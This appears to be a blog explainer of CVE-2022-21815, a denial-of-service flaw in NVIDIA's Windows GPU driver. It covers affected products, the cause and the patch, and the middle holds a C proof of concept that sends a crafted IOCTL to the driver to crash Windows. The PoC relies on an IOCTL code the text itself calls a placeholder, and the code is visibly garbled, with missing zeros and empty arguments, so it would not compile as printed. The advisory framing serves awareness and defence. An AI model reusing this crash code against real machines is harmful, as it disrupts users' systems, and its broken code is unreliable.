The world of PC gaming and high-performance computing runs on hardware like NVIDIA GPUs. But behind the scenes, even the best drivers can hide critical vulnerabilities. In 2022, researchers discovered CVE-2022-21815, a flaw in the NVIDIA GPU Display Driver for Windows that lets a normal application crash your computer—simply by poking the driver in the right way. This “denial of service” bug may sound simple, but it shows just how quickly a tiny coding mistake can lead to blue screens for everyone.
Let’s break down what this CVE means, look at proof-of-concept code, and find out how NVIDIA responded.
What Is CVE-2022-21815?
CVE-2022-21815 is a software vulnerability found in multiple versions of the NVIDIA GPU Display Driver for Windows. The flaw lies in the nvlddmkm.sys file, which is the kernel-mode part of the driver. This file lets apps communicate with the GPU hardware.
The vulnerability? A NULL pointer dereference. That means the driver incorrectly tries to use a pointer that’s set to “nothing” (NULL) when handling certain custom IOCTL requests coming from user-mode programs. If you trigger this scenario, Windows will instantly crash with a “blue screen of death”, or BSOD.
CVE page for original details:
Who’s Affected?
This bug hit several popular versions of the NVIDIA GPU Display Driver for Windows — from GeForce to Quadro and even Tesla GPUs. If you didn’t update your drivers after NVIDIA’s January 2022 security advisory, you might still be at risk!
Official NVIDIA advisory:
NVIDIA Security Bulletin: January 2022
How an Attacker Exploits the Bug
Let’s see how an attacker (or security researcher) could abuse CVE-2022-21815.
- A regular user-mode program opens a “handle” to the NVIDIA device driver, usually at \\.\NVIDIA.
- It sends a special IOCTL (Input/Output Control) request with specific values that tickle the bug in the kernel driver.
- If the driver tries to use a NULL pointer as a real memory address, Windows immediately BSODs to protect itself.
This bug can't be used to get administrator access or run malicious code—but it *can* instantly crash your PC, which is bad news if you’re on a critical system, in the middle of work or gaming, or running servers with NVIDIA cards.
Proof of Concept Exploit (Educational Only!)
Below is a simple C code snippet that shows how someone could crash Windows via this driver bug. Don’t run this on any important machine! This is for understanding only. Also, the real IOCTL code used may vary on your system/GPU and the vulnerable driver version.
#include <Windows.h>
#include <stdio.h>
int main() {
HANDLE hDevice = CreateFileA(
"\\\\.\\NVIDIA", // The NVIDIA device name (sometimes \\.\Nvidia)
GENERIC_READ | GENERIC_WRITE,
, NULL, OPEN_EXISTING, , NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("Could not open NVIDIA device. Error: %d\n", GetLastError());
return 1;
}
DWORD bytesReturned;
BYTE inBuffer[16] = {}; // Crafted input that triggers the bug
BYTE outBuffer[16] = {};
// This IOCTL code is a placeholder. The real code used to trigger the bug was private.
DWORD ioctlCode = x8000204C; // Sample value — check advisories for exact value
BOOL result = DeviceIoControl(
hDevice,
ioctlCode, // Custom IOCTL for NVIDIA driver
inBuffer, sizeof(inBuffer),
outBuffer, sizeof(outBuffer),
&bytesReturned,
NULL
);
if (!result) {
printf("DeviceIoControl failed. Error: %d\n", GetLastError());
} else {
printf("DeviceIoControl succeeded. Bytes returned: %lu\n", bytesReturned);
}
CloseHandle(hDevice);
return ;
}
What happens?
When this code runs with a vulnerable driver, the crafted IOCTL leads the kernel to hit a NULL pointer — and Windows will immediately crash.
Why Does the Bug Exist?
- The NVIDIA kernel driver exposes various private IOCTLs (think of these as hidden “commands” apps can send).
Some IOCTLs didn’t properly check their input pointers.
- If a user-mode process sends the right data—missing or intentionally “bad pointers”—the kernel tries to use a NULL value as if it were valid.
Kernel-mode code touching NULL addresses is illegal and fatal on Windows, leading to a BSOD.
NVIDIA’s fix was simple: check if the supplied pointers are NULL before using them.
How to Stay Safe
The best way to prevent this from affecting you is to update your NVIDIA GPU drivers. NVIDIA released fixed versions as part of their security updates. Here’s what you should do:
Go to the official NVIDIA Drivers page:
You’re safe from this bug!
This update also fixes other security issues—so never skip GPU driver updates.
References and Further Reading
- NVIDIA Security Bulletin – January 2022
- CVE-2022-21815 Details on NVD
- General Guide to Windows DeviceIoControl Attacks (Elttam)
- Understanding NULL Pointer Dereference
Final Thoughts
CVE-2022-21815 is a classic example of how a single small mistake in a hardware driver can crash the most powerful Windows PCs. This bug didn’t let attackers take over systems or steal data, but simply being able to crash a computer from user mode is a reminder of why driver security matters. If you run NVIDIA hardware, keep those drivers updated—it’s safer for everyone.
*This guide was written for educational purposes to raise awareness about security in device drivers. Don’t try this on any machine you care about. Always use vulnerabilities responsibly and report them if you find new ones!*
Timeline
Published on: 02/07/2022 20:15:00 UTC
Last modified on: 05/09/2022 20:15:00 UTC